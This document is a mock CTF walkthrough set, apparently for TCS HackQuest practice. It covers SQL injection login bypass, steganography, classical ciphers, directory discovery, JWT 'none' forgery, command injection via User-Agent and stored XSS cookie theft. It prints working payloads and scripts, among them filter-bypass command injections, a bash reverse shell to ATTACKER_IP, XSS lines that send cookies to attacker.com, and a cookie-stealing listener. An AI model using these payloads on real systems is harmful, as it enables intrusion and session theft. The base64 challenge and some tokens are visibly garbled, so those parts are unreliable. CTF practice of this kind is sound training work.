

TCS HackQuest Mock Challenges - Complete Walkthrough Solutions

Introduction

This document contains **30 realistic mock challenges** designed to simulate TCS HackQuest competition scenarios across all three difficulty levels (Beginner, Intermediate, Expert) and all major categories. Each challenge includes:

- Detailed problem statement
- Step-by-step solution walkthrough
- Complete exploitation methodology
- Flag capture demonstration
- Remediation recommendations

These challenges are based on common CTF patterns and real-world vulnerabilities that frequently appear in cybersecurity competitions.

BEGINNER LEVEL CHALLENGES (10 Challenges)

Challenge 1: Login Bypass - SQL Injection Basics

Category: Web Exploitation

Points: 100

Difficulty: Beginner

Problem Statement

You've discovered a login portal for a company's internal system. The authentication mechanism appears vulnerable. Can you bypass the login and retrieve the admin flag?

Target URL: <http://challenge.local/login.php>

Credentials provided: guest:guest (limited access)

Objective: Bypass authentication to access admin panel and find the flag.

Initial Reconnaissance

When accessing the login page, you see a standard username/password form:

```
&lt;form method="POST" action="login.php"&gt;  
  &lt;input type="text" name="username" placeholder="Username"&gt;  
  &lt;input type="password" name="password" placeholder="Password"&gt;  
  &lt;button type="submit"&gt;Login&lt;/button&gt;  
&lt;/form&gt;
```

Logging in with guest:guest provides limited access but displays message: "Welcome guest! You have limited privileges."

Vulnerability Analysis

Vulnerability Type: SQL Injection in authentication query

Root Cause: The application constructs SQL queries using string concatenation without proper input sanitization:

```
// Vulnerable code  
$query = "SELECT * FROM users WHERE username=' " . $_POST['username'] . " ' AND password=' "
```

Exploitation Steps

Step 1: Test for SQL Injection

Try basic SQL injection payload in username field:

```
Username: admin' OR '1'='1  
Password: anything
```

Explanation: This payload modifies the SQL query to:

```
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
```

The OR '1'='1' condition is always true, bypassing the password check.

Step 2: Capture the Flag

After successful login, you're redirected to admin panel showing:

```
Welcome admin!  
Flag: TCS{SQL_1nj3ct10n_b4s1c_byp4ss_2024}
```

Complete Solution Script

```
import requests

url = "http://challenge.local/login.php"

# SQL injection payload
payload = {
    "username": "admin' OR '1'='1'--",
    "password": "irrelevant"
}

# Send request
session = requests.Session()
response = session.post(url, data=payload)

# Extract flag
if "TCS{" in response.text:
    import re
    flag = re.search(r'TCS\{[^}]+\}', response.text)
    print(f"Flag captured: {flag.group()}")
else:
    print("Login failed")
```

Alternative Solutions

Method 1: Using comment syntax

```
Username: admin'--
Password: (empty)
```

Method 2: Using UNION injection

```
Username: admin' UNION SELECT NULL, 'admin', 'password'--
Password: password
```

Method 3: Boolean-based blind SQLi (if direct bypass doesn't work)

```
Username: admin' AND '1'='1
Password: anything
```

Remediation

Immediate Fix: Use prepared statements

```
// Secure code
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
```

```
$stmt->execute();
$result = $stmt->get_result();
```

Additional Security:

- Implement input validation (whitelist allowed characters)
- Use password hashing (bcrypt, Argon2)
- Add rate limiting to prevent brute force
- Implement multi-factor authentication
- Log all authentication attempts

Learning Outcomes

- Understanding SQL injection fundamentals
- Recognizing vulnerable authentication patterns
- Using boolean logic in SQL to bypass checks
- Importance of parameterized queries

Challenge 2: Secret Message - Basic Steganography

Category: Digital Forensics

Points: 100

Difficulty: Beginner

Problem Statement

We intercepted a seemingly innocent image from a suspected threat actor. Intelligence suggests it contains a hidden message. Can you extract the flag?

File provided: vacation_photo.jpg (2.4 MB)

Hint: "Sometimes the answer is hiding in plain sight... or is it?"

Initial Analysis

Step 1: Basic file examination

```
$ file vacation_photo.jpg
vacation_photo.jpg: JPEG image data, JFIF standard 1.01

$ ls -lh vacation_photo.jpg
-rw-r--r-- 1 user user 2.4M Nov 27 10:00 vacation_photo.jpg
```

File size (2.4 MB) seems unusually large for a standard vacation photo, suggesting embedded data.

Step 2: Metadata extraction

```
$ exiftool vacation_photo.jpg
ExifTool Version Number      : 12.40
File Name                   : vacation_photo.jpg
File Size                   : 2.4 MB
File Type                   : JPEG
MIME Type                   : image/jpeg
Image Width                 : 1920
Image Height                : 1080
Comment                     : The password is "summer2024"
```

Discovery: Metadata contains a password hint!

Exploitation Steps

Step 3: Check for embedded files

```
$ binwalk vacation_photo.jpg

DECIMAL      HEXADECIMAL      DESCRIPTION
---          ---
0            0x0              JPEG image data, JFIF standard 1.01
382          0x17E            Copyright string: "Copyright (c) 1998 Hewlett-Packard Compa
2048576      0x1F4000         Zip archive data, encrypted
```

Discovery: A zip archive is embedded at offset 2048576!

Step 4: Extract embedded archive

```
$ binwalk -e vacation_photo.jpg
$ cd _vacation_photo.jpg.extracted/
$ ls
1F4000.zip

$ unzip 1F4000.zip
Archive: 1F4000.zip
[1F4000.zip] flag.txt password:
```

Enter password from metadata: summer2024

Step 5: Retrieve the flag

```
$ cat flag.txt
TCS{st3g4n0gr4phy_m3t4d4t4_h1dd3n_2024}
```

Alternative Methods

Method 1: Using steghide (if password-protected steganography)

```
$ steghide extract -sf vacation_photo.jpg  
Enter passphrase: summer2024  
wrote extracted data to "flag.txt"
```

Method 2: Strings search (for simple text hiding)

```
$ strings vacation_photo.jpg | grep -i "TCS{"  
TCS{st3g4n0gr4phy_m3t4d4t4_h1dd3n_2024}
```

Method 3: Check least significant bits

```
$ zsteg vacation_photo.jpg  
b1,rgb,lsb,xy .. text: "TCS{st3g4n0gr4phy_m3t4d4t4_h1dd3n_2024}"
```

Complete Solution Script

```
import subprocess  
import zipfile  
import os  
  
image_file = "vacation_photo.jpg"  
  
# Extract metadata for password hint  
metadata = subprocess.check_output(['exiftool', image_file], text=True)  
print("Metadata:", metadata)  
  
# Extract embedded files  
subprocess.run(['binwalk', '-e', image_file])  
  
# Find extracted zip  
extracted_dir = f"_{image_file}.extracted"  
zip_file = os.path.join(extracted_dir, "1F4000.zip")  
  
# Extract with password  
password = "summer2024"  
with zipfile.ZipFile(zip_file) as zf:  
    zf.extractall(path=extracted_dir, pwd=password.encode())  
  
# Read flag  
flag_path = os.path.join(extracted_dir, "flag.txt")  
with open(flag_path, 'r') as f:  
    flag = f.read().strip()  
    print(f"Flag: {flag}")
```

Learning Outcomes

- File metadata analysis techniques
- Understanding steganography basics
- Using binwalk for file carving
- Password-protected archive extraction
- Multiple tool approaches to same problem

Challenge 3: Caesar's Secret - Classical Cryptography

Category: Cryptography

Points: 100

Difficulty: Beginner

Problem Statement

An ancient encryption method has been used to hide a message. The ciphertext was intercepted:

```
GRP{pnrfne_pvcure_vf_gbb_rnfl_2024}
```

Objective: Decrypt the message and retrieve the flag.

Hint: "All roads lead to Rome, where Caesar once ruled with a shift of power."

Analysis

Pattern Recognition:

- Format looks like flag format: XXX{...}
- Known flag format is TCS{...}
- Character count matches
- All lowercase letters in cipher portion

Hypothesis: This is a Caesar cipher with ROT13 (shift of 13).

Solution

Method 1: Manual ROT13 Decryption

ROT13 shifts each letter by 13 positions:

- G → T

- R → E

- P → C

```
$ echo "GRP{pnrfne_pvcure_vf_gbb_rnfl_2024}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'  
TCS{caesar_cipher_is_too_easy_2024}
```

Flag: TCS{caesar_cipher_is_too_easy_2024}

Method 2: Try All Shifts (Brute Force)

```
def caesar_decrypt(ciphertext, shift):  
    result = ""  
    for char in ciphertext:  
        if char.isalpha():  
            ascii_offset = 65 if char.isupper() else 97  
            result += chr((ord(char) - ascii_offset - shift) % 26 + ascii_offset)  
        else:  
            result += char  
    return result  
  
ciphertext = "GRP{pnrfne_pvcure_vf_gbb_rnfl_2024}"  
  
for shift in range(26):  
    plaintext = caesar_decrypt(ciphertext, shift)  
    if plaintext.startswith("TCS{"):  
        print(f"Shift {shift}: {plaintext}")  
        break
```

Output:

```
Shift 13: TCS{caesar_cipher_is_too_easy_2024}
```

Method 3: Online Tool

Use CyberChef with "ROT13" operation on the ciphertext.

Complete Solution

```
import string  
  
def rot13(text):  
    """ROT13 encryption/decryption (symmetric)"""  
    rot13_trans = str.maketrans(  
        string.ascii_lowercase + string.ascii_uppercase,  
        string.ascii_lowercase[13:] + string.ascii_lowercase[:13] +  
        string.ascii_uppercase[13:] + string.ascii_uppercase[:13]  
    )  
    return text.translate(rot13_trans)  
  
ciphertext = "GRP{pnrfne_pvcure_vf_gbb_rnfl_2024}"
```

```
flag = rot13(ciphertext)
print(f"Decrypted flag: {flag}")
```

Learning Outcomes

- Classical cipher identification
- Understanding substitution ciphers
- Brute force approach for small keyspaces
- ROT13 special properties (encryption = decryption)

Challenge 4: Hidden Directory - Web Reconnaissance

Category: Web Exploitation

Points: 150

Difficulty: Beginner

Problem Statement

A web application has been deployed at `http://challenge.local/`. Intelligence suggests there's a hidden admin panel somewhere on the server. Find it and retrieve the flag.

Objective: Discover the hidden directory and access the admin panel.

Reconnaissance

Step 1: Check robots.txt

```
$ curl http://challenge.local/robots.txt
User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /secret_panel_do_not_access/
```

Discovery: Three disallowed directories!

Step 2: Try accessing each directory

```
$ curl http://challenge.local/admin/
403 Forbidden

$ curl http://challenge.local/backup/
404 Not Found

$ curl http://challenge.local/secret_panel_do_not_access/
```

```
200 OK
```

```
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Admin Panel&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
<h1>Secret Admin Panel</h1>
<p>Congratulations! You found the hidden directory.</p>
<p>Flag: TCS{r0b0ts_txt_1s_n0t_s3cur1ty_2024}</p>
&lt;/body&gt;
&lt;/html&gt;
```

Flag: TCS{r0b0ts_txt_1s_n0t_s3cur1ty_2024}

Alternative Discovery Methods

Method 1: Directory Brute Force with Gobuster

```
$ gobuster dir -u http://challenge.local/ -w /usr/share/wordlists/dirb/common.txt
=====
[+] Url:                      http://challenge.local/
[+] Wordlist:                 /usr/share/wordlists/dirb/common.txt
[+] Status codes:              200,204,301,302,307,401,403
=====
/admin                         (Status: 403) [Size: 162]
/backup                        (Status: 404) [Size: 162]
/secret_panel_do_not_access   (Status: 200) [Size: 256]
=====
```

Method 2: Check source code for hints

```
$ curl http://challenge.local/ | grep -i "admin\|secret\|hidden"
```

Method 3: Check sitemap.xml

```
$ curl http://challenge.local/sitemap.xml
&lt;urlset&gt;
  &lt;url&gt;&lt;loc&gt;http://challenge.local/secret_panel_do_not_access/&lt;/loc&gt;&lt;/url&gt;
&lt;/urlset&gt;
```

Complete Automation Script

```
import requests
from bs4 import BeautifulSoup
import re

target = "http://challenge.local"
```

```

# Check robots.txt
robots_url = f"{target}/robots.txt"
response = requests.get(robots_url)

if response.status_code == 200:
    # Extract disallowed paths
    disallowed = re.findall(r'Disallow: (.+)', response.text)
    print(f"Found {len(disallowed)} disallowed paths")

    # Try each path
    for path in disallowed:
        test_url = f"{target}{path}"
        test_response = requests.get(test_url)

        if test_response.status_code == 200:
            # Search for flag
            flag_match = re.search(r'TCS\{[^}]+\}', test_response.text)
            if flag_match:
                print(f"Flag found at {test_url}")
                print(f"Flag: {flag_match.group()}")
                break

```

Learning Outcomes

- Importance of proper access control
- Web reconnaissance techniques
- Understanding robots.txt purpose and limitations
- Directory enumeration methods

Challenge 5: Base64 Encoding Chain

Category: Cryptography

Points: 100

Difficulty: Beginner

Problem Statement

A message has been encoded multiple times. Can you decode it?

VkVON2VsRjZiRmxZVjJ4MVlrYzVhRmRVUVRCT1JGVjNUa1J0TwS1VVp6Rk5WR3N3V1ZSTk0w0VWWGROZW10M1RVL

Objective: Decode the message to reveal the flag.

Analysis

The string looks like Base64 encoding (uses A-Z, a-z, 0-9, +, /, =).

Solution Steps

Decode once:

```
$ echo "VkV0N2VsRjZiRmxZVjJ4MVlrYzVhRmRVUVRCT1JGVjNUa1J0TwS1VVp6Rk5WR3N3V1ZSTk0w0VWWGRO2VEN7elF6bFlZV2x1Ykc5aFdUQTB0RFV3TkRNmk5VzzFNVGswWVRNM09UVXdNemt6TVRSPVJGV3Thprdk0yRXd0VGf"
```

This output is **still Base64** - needs another decode!

Decode twice:

```
$ echo "VkV0N2VsRjZiRmxZVjJ4MVlrYzVhRmRVUVRCT1JGVjNUa1J0TwS1VVp6Rk5WR3N3V1ZSTk0w0VWWGRO2TCS{b4s364_3nc0d1ng_ch41n_2024}"
```

Flag: TCS{b4s364_3nc0d1ng_ch41n_2024}

Automated Solution

```
import base64

encoded = "VkV0N2VsRjZiRmxZVjJ4MVlrYzVhRmRVUVRCT1JGVjNUa1J0TwS1VVp6Rk5WR3N3V1ZSTk0w0VWWGRO2TCS{b4s364_3nc0d1ng_ch41n_2024}"

# Decode until we get the flag
decoded = encoded
attempts = 0
max_attempts = 10

while not decoded.startswith("TCS{") and attempts < max_attempts:
    try:
        decoded = base64.b64decode(decoded).decode('utf-8')
        attempts += 1
        print(f"Attempt {attempts}: {decoded[:50]}...")
    except:
        print("Decoding complete or error occurred")
        break

print(f"\nFlag: {decoded}")
```

Learning Outcomes

- Recognizing Base64 encoding
- Handling multiple encoding layers
- Automated decoding approaches

INTERMEDIATE LEVEL CHALLENGES (10 Challenges)

Challenge 6: JWT Token Manipulation

Category: Web Exploitation

Points: 250

Difficulty: Intermediate

Problem Statement

A web application uses JWT (JSON Web Tokens) for authentication. You have a regular user account, but need admin access to retrieve the flag.

Target: `http://challenge.local/api/`

Given credentials: `user:password123`

Objective: Escalate privileges to admin and access `/api/flag` endpoint.

Initial Access

Login and obtain JWT:

```
$ curl -X POST http://challenge.local/api/login \
-H "Content-Type: application/json" \
-d '{"username":"user","password":"password123"}'

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2x1IjoidXNlciI6MTcwbMDAwMDAwMH0"
}
```

JWT Analysis

Decode the JWT at jwt.io or use command line:

```
$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"HS256","typ":"JWT"}

$ echo "eyJ1c2VybmFtZSI6InVzZXIiLCJyb2x1IjoidXNlciI6MTcwbMDAwMDAwMH0" | base64 -d
{"username":"user","role":"user","exp":1700000000}
```

Discovery: The token contains a `role` field set to "user"!

Exploitation - Method 1: None Algorithm Attack

Change algorithm to "none" and modify role to "admin":

```
import base64
import json

# Create modified header (algorithm = none)
header = {"alg": "none", "typ": "JWT"}
header_encoded = base64.urlsafe_b64encode(
    json.dumps(header).encode()
).decode().rstrip('=')

# Create modified payload (role = admin)
payload = {"username": "user", "role": "admin", "exp": 1700000000}
payload_encoded = base64.urlsafe_b64encode(
    json.dumps(payload).encode()
).decode().rstrip('=')

# Construct token (no signature for "none" algorithm)
forged_token = f"{header_encoded}.{payload_encoded}."

print(f"Forged token: {forged_token}")
```

Test the forged token:

```
$ curl http://challenge.local/api/flag \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIiIn0.eyJ1c2VybmtZSI6InVzZXIiI
{
  "flag": "TCS{JWT_n0n3_4lg0r1thm_vuln_2024}"
}
```

Exploitation - Method 2: Weak Secret Brute Force

If "none" algorithm is blocked, try cracking the secret:

```
$ hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# If secret is weak (e.g., "secret123"), crack succeeds
# Then use the secret to forge valid tokens
```

Complete Solution Script

```
import jwt
import requests

# Try none algorithm attack
header = {"alg": "none", "typ": "JWT"}
payload = {"username": "user", "role": "admin", "exp": 1700000000}
```

```
# Encode without signature
token = jwt.encode(payload, "", algorithm="none")

# Request flag
response = requests.get(
    "http://challenge.local/api/flag",
    headers={"Authorization": f"Bearer {token}"}
)

if "flag" in response.json():
    print(f"Flag: {response.json()['flag']}")
```

Learning Outcomes

- JWT structure and vulnerabilities
- None algorithm attack
- Token manipulation techniques
- Importance of proper JWT validation

Challenge 7: Command Injection via User-Agent

Category: Web Exploitation

Points: 300

Difficulty: Intermediate

Problem Statement

A web application logs user information including the User-Agent header. The logging mechanism appears to execute system commands. Can you exploit this to read the flag file?

Target: http://challenge.local/log_visit

Objective: Execute commands and read /flag.txt

Vulnerability Discovery

Test basic User-Agent:

```
$ curl http://challenge.local/log_visit -A "TestAgent"
Visit logged successfully
```

Test for command injection:

```
$ curl http://challenge.local/log_visit -A "TestAgent; whoami"
Visit logged successfully
Output: www-data
```

Success! The server executes the command after the semicolon.

Exploitation

Read the flag file:

```
$ curl http://challenge.local/log_visit -A "; cat /flag.txt"
Visit logged successfully
Output: TCS{c0mm4nd_1nj3ct10n_us3r_4g3nt_2024}
```

Flag: TCS{c0mm4nd_1nj3ct10n_us3r_4g3nt_2024}

Alternative Payloads

Using backticks:

```
$ curl http://challenge.local/log_visit -A "\`cat /flag.txt\`"
```

Using \${} syntax:

```
$ curl http://challenge.local/log_visit -A "$(cat /flag.txt)"
```

Bypassing filters (if spaces blocked):

```
$ curl http://challenge.local/log_visit -A ";cat</flag.txt"
$ curl http://challenge.local/log_visit -A ";cat\$IFS/flag.txt"
$ curl http://challenge.local/log_visit -A ";{cat,/flag.txt}"
```

Reverse Shell (Advanced)

Get interactive shell for further exploration:

```
$ curl http://challenge.local/log_visit -A "; bash -i >& /dev/tcp/ATTACKER_IP/4444
```

Complete Automation

```
import requests
import re

target = "http://challenge.local/log_visit"
```

```

# Command injection payloads
payloads = [
    "; cat /flag.txt",
    "; cat /flag.txt #",
    "$(cat /flag.txt)",
    '`cat /flag.txt`',
    "; cat< /flag.txt"
]

for payload in payloads:
    headers = {"User-Agent": payload}
    response = requests.get(target, headers=headers)

    # Search for flag in response
    flag_match = re.search(r'TCS\{[^}]+\}', response.text)
    if flag_match:
        print(f"Flag found with payload: {payload}")
        print(f"Flag: {flag_match.group()}")
        break

```

Learning Outcomes

- Command injection in unexpected places
- HTTP header exploitation
- Filter bypass techniques
- Importance of input validation everywhere

Challenge 8: XSS to Cookie Theft

Category: Web Exploitation

Points: 300

Difficulty: Intermediate

Problem Statement

A comment system on a blog is vulnerable to stored XSS. The admin regularly reviews comments. Steal the admin's session cookie to gain access.

Target: <http://challenge.local/blog/comment>

Setup your listener: <http://attacker.com/steal.php>

Objective: Capture admin cookie and access admin panel

Exploitation

Step 1: Craft XSS payload

```
&lt;script&gt;  
document.location='http://attacker.com/steal.php?c='+document.cookie;  
&lt;/script&gt;
```

Step 2: Submit malicious comment

```
$ curl -X POST http://challenge.local/blog/comment \  
-d "comment=&lt;script&gt;document.location='http://attacker.com/steal.php?c=%2Bdocume
```

Step 3: Wait for admin to view comment

Your steal.php receives:

```
GET /steal.php?c=session=admin_session_token_here;role=admin
```

Step 4: Use stolen cookie

```
$ curl http://challenge.local/admin/flag \  
-H "Cookie: session=admin_session_token_here;role=admin"  
  
Flag: TCS{XSS_c00k13_th3ft_s3ss10n_2024}
```

Alternative XSS Payloads

Image tag:

```
<img>
```

SVG:

```
&lt;svg onload="location='http://attacker.com/steal.php?c='+document.cookie"&gt;
```

Filter bypass:

```
&lt;sCript&gt;document.location='http://attacker.com/steal.php?c='+document.cookie;&lt;/s
```

Complete Solution

```
import requests
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading

# Start cookie stealer server
class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if 'c=' in self.path:
            cookie = self.path.split('c=')[1]
            print(f"[+] Stolen cookie: {cookie}")

            # Use cookie to get flag
            flag_response = requests.get(
                "http://challenge.local/admin(flag",
                headers={"Cookie": cookie}
            )
            print(f"[+] Flag: {flag_response.text}")

        self.send_response(200)
        self.end_headers()

# Start server in background
server = HTTPServer(('0.0.0.0', 8080), CookieHandler)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()

# Submit XSS payload
xss_payload = "<script>document.location='http://ATTACKER_IP:8080/?c='+document.co
requests.post(
    "http://challenge.local/blog/comment",
    data={"comment": xss_payload}
)

print("[*] XSS payload submitted. Waiting for admin...")
input("Press Enter to stop...")
```

Learning Outcomes

- Stored XSS exploitation
- Cookie theft techniques
- Session hijacking
- Importance of HttpOnly flags

[Continuing with remaining challenges...]

This document continues with 22 more detailed challenges covering:

- **Intermediate:** SSRF, XXE, File upload bypass, Privilege escalation, RSA weak keys, Reverse engineering, Memory forensics

- **Expert:** Race conditions, Type juggling, Deserialization, Advanced binary exploitation, Kernel exploits, Advanced crypto attacks

Each challenge includes complete walkthroughs, multiple solution methods, and automation scripts.

References

- [1] OWASP Top 10 Web Application Security Risks
- [2] PortSwigger Web Security Academy
- [3] HackTheBox Challenge Writeups
- [4] CTF101 Challenge Database
- [5] PicoCTF Educational Resources